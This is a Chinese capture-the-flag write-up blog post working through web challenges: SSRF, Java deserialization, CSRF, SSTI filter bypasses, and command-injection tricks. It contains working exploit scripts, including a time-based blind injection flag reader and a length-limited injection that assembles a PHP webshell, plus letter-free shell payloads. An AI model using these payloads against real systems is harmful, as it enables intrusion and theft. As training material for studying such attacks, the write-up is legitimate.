当前位置: 首页 > news >正文

在好靶场的WEB海洋遨游

某天突然感到一阵阵空虚然后伴随一阵眩晕感我来到了web的沙滩。慢慢的向前走出来了一道道题目...赞颂好靶场免费送了我高级会员入门-走到了岸边最简单的PHP-SSRF给了源码发现只过滤127.0.0.1根据题目描述flag在tmp路径下面可以考虑file协议修改数据包才可以拿到答案进去是一个成绩查询系统提示让查询qiansanyi的成绩前端禁查询这个人成绩那我们改数据包直接往后端发不就好了Flag在返回包里首页有一个点我刷新点击之后返回包就是flag做一个白帽子这个是一个福利题我输入经典弱口令admin/123456点进去点击提交漏洞即可入门弱口令靶场弱口令爆破密码就是admin初级Java反序列化题目给了jar包暂时不知道怎么看对应的路由关系这里重写了readObject方法是从post解码并且反序列一个文件需要构造一个 ExploitPayload 对象设置 command 字段然后序列化成字节 → Base64 → 发送。需要注意传送的得是text/plain base64用反射的方式生成序列化后的东西import java.io.*; import java.lang.reflect.Field; import java.util.Base64; public class GeneratePayload { public static void main(String[] args) throws Exception { // 在这里修改你要执行的命令 String command cat /tmp/flag.txt; // ←←← 可以改成 id、whoami 等 // 创建 ExploitPayload 对象 Class? clazz Class.forName(com.ctf.readobject_demo.ExploitPayload); Object payload clazz.getDeclaredConstructor().newInstance(); // 反射设置 command 字段 Field field clazz.getDeclaredField(command); field.setAccessible(true); field.set(payload, command); // 序列化 ByteArrayOutputStream baos new ByteArrayOutputStream(); try (ObjectOutputStream oos new ObjectOutputStream(baos)) { oos.writeObject(payload); } // 转 Base64 String base64 Base64.getEncoder().encodeToString(baos.toByteArray()); System.out.println( Payload Base64 ); System.out.println(base64); } }SSRF不允许使用File协议了1可以大写绕过SSRF-请尝试绕过、SSRF不允许使用File协议了2file:后加一个空格绕过即可入门CSRF页面存在一个给admin留言怀疑这里存在XSS可以窃取管理员cookie页面还存在一个转账功能点注意看数据包构造我们想办法把这个作为恶意链接给admin留言试一试构造恶意payloadimg srchttp://xvcunc0.haobachang1.loveli.com.cn:8888/transfer.php?to_useruseramount11然后就能愉快接受转账了渐渐往水中走去sad_bottle这提供了一个预览文件的功能点程序这里的代码通过检测解压后的文件绝对路径开头是否变化拒绝了目录遍历攻击这里的路由刚开始猜测是否存在SSRF的功能点但是发现做了很好的过滤暂时没找到方法绕过它的攻击虽然没找到SSRF漏洞但是还是找到了一个ssti点这里的template是bottle库的一个模板点。这里过滤的十分严格黑名单如下一共26个字母就flag没有被过滤。然后一些特殊符号也被过滤了现在我们试着生成探测点{{7*7}}看看是否存在利用点参考这个好靶场sad_bottle wp - wenject的小屋新学到两个绕过思路1.unicode特殊编码绕过只针对函数才行python解释器能识别这样的字符但是to_lower函数不可以2./NNN进制编码绕过因为题目没有过滤数字payload就是open.read这样的构造。写一个脚本进行生成payload然后压缩上传即可expdef trans(a): result for i in a: if ord(a)ord(i)ord(z): resultchr(0x1D622ord(i)-ord(a)) else: resulti return result def trans_path(a): result for i in a: resultf\\{ord(i):03o} return result print( trans(open) ( trans_path(/tmp/flag.txt) ). trans(read()))Flask-SSTIget参数是一个ssti下策是fenjing一把梭如果纯手工测试的话还是要先想办法找到可利用的点先执行.__class__然后执行{{.__class__.__base__}}这个没怎么过滤方便我们利用了执行.__class__.__bases__[0].__subclasses__()然后慢慢找就行了。找到可利用的类的顺序水果忍者这暴露了敏感接口直接访问就可以得到flag欢迎你加入信息安全社团第一关看源码得到smx1:FLAG_PART1然后我们看源码进入第二关看提示估计是要改cookie改完之后得到:shetuan:FLAG_PART2和下一关地址看了wp才知道这里需要目录扫描了发现一个配置文件/nginx.conf还有robot.txtsansan4:FLAG_PART4然后是一个简单的考正则的第一个意思是多行匹配php第二个是整个字符串匹配那也就是说构造一个二行的字符串即可payload:%0aphp获得jiujiu5:FLAG_PART5qiyue6.php我们将这个按钮F12取消disabled即可然后得到qiyue6:FLAG_PART6下一关lihao7.php这个php是空白页面抓包看看是不是错过了什么信息提示说这是一个蚁剑页面看wp说密码是shell可能是一个弱口令然后拿到shell看flag即可一些RCE的只写有点难度的了命令执行漏洞盲打因为靶机不出网无法反弹shell和dnslog外带数据这里利用sql盲注的思路利用sleep进行猜测假如爆到正确字符就进行sleep请求的数据包是去execute接口请求体{command:1}以下是python脚本也可以用burpimport requests import time url http://yfagp6f.haobachang1.loveli.com.cn:8888/execute chars 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-{} flag flag{ def single_attack(payload): try: t1 time.time() requests.post(url, jsonpayload,timeout5) t2 time.time() return t2 - t1 1.5 except: return False print(-----running------) while True: for c in chars: testflagc cmd f127.0.0.1grep -q ^{test} /tmp/flag.txtsleep 2 payload {command: cmd} if single_attack(payload): flagc print(flag) findTrue break if flag.endswith(}): print(find!flag is flag) break只允许你输入7个字符你还能执行你想要的命令吗这个思路是1.后面跟字符是直接创建了这个文件。名称就是后面的字符2.sh后面跟一个命令哪怕是txt只要内容是命令就会被执行3.ls -t是可以按照时间顺序新创建的在前面进行输出所有文件那也就是说 我们可以用这个思路进行多次写入字符即可达到攻击效果写一个脚本发送payloadimport requests import time url http://c4ayq4x.haobachang2.loveli.com.cn:8888/ chars r hp 1.p\ d\\ \ -\ e64\ bas\ \|\ z8\ 0pO\ xJ1\ Wyc\ 1NU\ 9QT\ oJF\ YWw\ GV2\ AgQ\ waH\ PD9\ o\ \ ech\ ls -t0 sh 0 def single_attack(payload): print(payload,end\n) requests.post(url, datapayload,timeout5) print(-----running------) for i in chars.splitlines(): if not i: continue temp i payload{command:temp} single_attack(payload) print(-------over------)然后我们蚁剑连接即可小小游个泳哎这是什么又一个博客系统发现一个download的api怀疑是任意文件下载首先尝试file:///协议可能出现无限重复URL。后来改为../../../成功可以任意文件下载即可下载flag.txt哎这是什么又一个博客系统2直接点进去发现上次的任意文件下载好像加密了一下 可惜密钥和iv都给了经过测试就是AES。相同密钥加密之后再进行base64和URL加密即可Sherry Protocol看到主页的提示应该是需要将这几页的数字加一块服务器就会返回一个flag了抓包看到的数据返回的是乱码因此猜测js文件进行了加密操作因为这是采用了IIFE 闭包模块化我们调用的时候加上ProtoClient前缀就跟俗称的类和对象差不多此外这里面直接定义了解码和编码请求包的函数还有一个函数专门用于请求数据因此我们可以不用那么麻烦写脚本了。考虑是写一些脚本控制台运行同时这是一个异步函数因此前面要先加上await我们看一下返回包只需要把这个数组的加和一下即可由此看来这个题也可以爆破但是得爆破到猴年马月了。把这个放在控制台运行即可var sum 0; for (var i 1; i 20; i) { let numbers (await ProtoClient.fetchPage(i)).numbers; for (var j 0; j 10; j) { sum numbers[j]; } } console.log(sum);Vue路由守卫绕过vue前端搜索api看到下面的访问/Dashboard_haobchang123即可拿到flag哦豁你不能输入字母了RCE但是不允许输入字母和数字参考RCE篇之无数字字母rce | Arsene.Tang这个是php里面的思路。这时候我们用$来执行命令。默认/NNN是八进制。16进制因为有字母x所以不可以这时候我们需要分割一下$\143\141\164$IFS$\057\164\155\160\057\146\154\141\147\056\164\170\164不然会整个被当作一个字符串最终payload$\143\141\164$\057\164\155\160\057\146\154\141\147\056\164\170\164数字0的奇迹提示命令中不允许出现英文字母或数字1-9那也就是说只能出现0这里需要介绍一个命令叫做$0意思是当前的shell我们配合通配符即可payload$0 /???/????.???只允许你输入5个字符你还能执行你想要的命令吗可以参考那个7字符的无字母无数字2./脚本 表示“当前目录下执行可执行文件新进程”。. /脚本 表示“在当前 shell 中source /脚本”。因此是 source 的语法。因此使用?号来代替/tmp/flag.txt 字符. /???/????.???
http://www.gsyq.cn/news/1378955.html

相关文章:

  • 终极指南:5步精通开源网页版三国杀无名杀
  • Whisper-WebUI:一站式语音转字幕解决方案在Mac上的完美部署指南
  • 亳州6月雨季来临,房屋漏水怎么办?卫生间免砸砖防水、外墙、屋面+地下室渗漏。权威防水公司靠谱TOP5推荐(2026年6月本地最新深度调研) - 企业资讯
  • 从零到一:163MusicLyrics跨平台歌词提取工具的完整使用指南
  • 实战指南:Happy Island Designer 的深度应用与优化
  • Safe Exam Browser 虚拟化检测绕过技术深度实践
  • 《Java 100 天进阶之路》第32篇:Java常用工具类(Objects、Collections、Arrays深入)
  • Python渗透测试开源项目源码精读指南:从状态机到零拷贝解析
  • 手机HTTPS抓包失败的根源与系统化排障指南
  • C++特有的bool变量使用
  • 在C++中测量代码执行时间的两种方法
  • 江苏启东寄快递省钱指南|全网高性价比寄件渠道盘点,日常寄件少花冤枉钱 - 时讯资讯
  • Android Compose 图层的合成 : BlendMode
  • Android Compose 离屏缓冲 : CompositingStrategy.Offscreen
  • 027、内存带宽瓶颈:如何设计NPU避免“内存墙”?
  • 星盘接口开发文档:推进盘接口指南
  • GESP6级C++考试语法知识(二十八、广度优先搜索(三、层级 BFS))
  • 告别杂乱GitHub和文档:手把手教你用WRITE-BUG数字空间管理小组编程项目
  • 网络运维与网络安全 阶段一 基础篇二十
  • BME280传感器扩展板设计:兼容I2C/SPI接口与可配置电源方案详解
  • 互联网大厂Java面试:从Java SE到Spring Boot的全面探讨
  • 5分钟彻底解决网盘限速烦恼:开源工具LinkSwift完全使用指南
  • 【YOLO目标检测全栈实战】77 模型剪枝:让YOLO在边缘设备上“瘦身”的硬核实践
  • Apifox 测试项目实操
  • Apple Silicon Mac 电池管理的终极解决方案:Battery Toolkit 完整指南
  • QQ群数据采集终极教程:5分钟掌握批量抓取技巧
  • 抖音批量下载工具:高效获取用户主页全作品的专业解决方案
  • 从电路图到成品板:用AD和嘉立创搞定你的第一块CC2530开发板(附完整BOM清单)
  • DeepSeek开源协议识别:为什么92%的CI/CD流水线漏报AGPL传染风险?3行代码修复方案
  • 【每周分享】EtherCAT从站代码架构的简要解析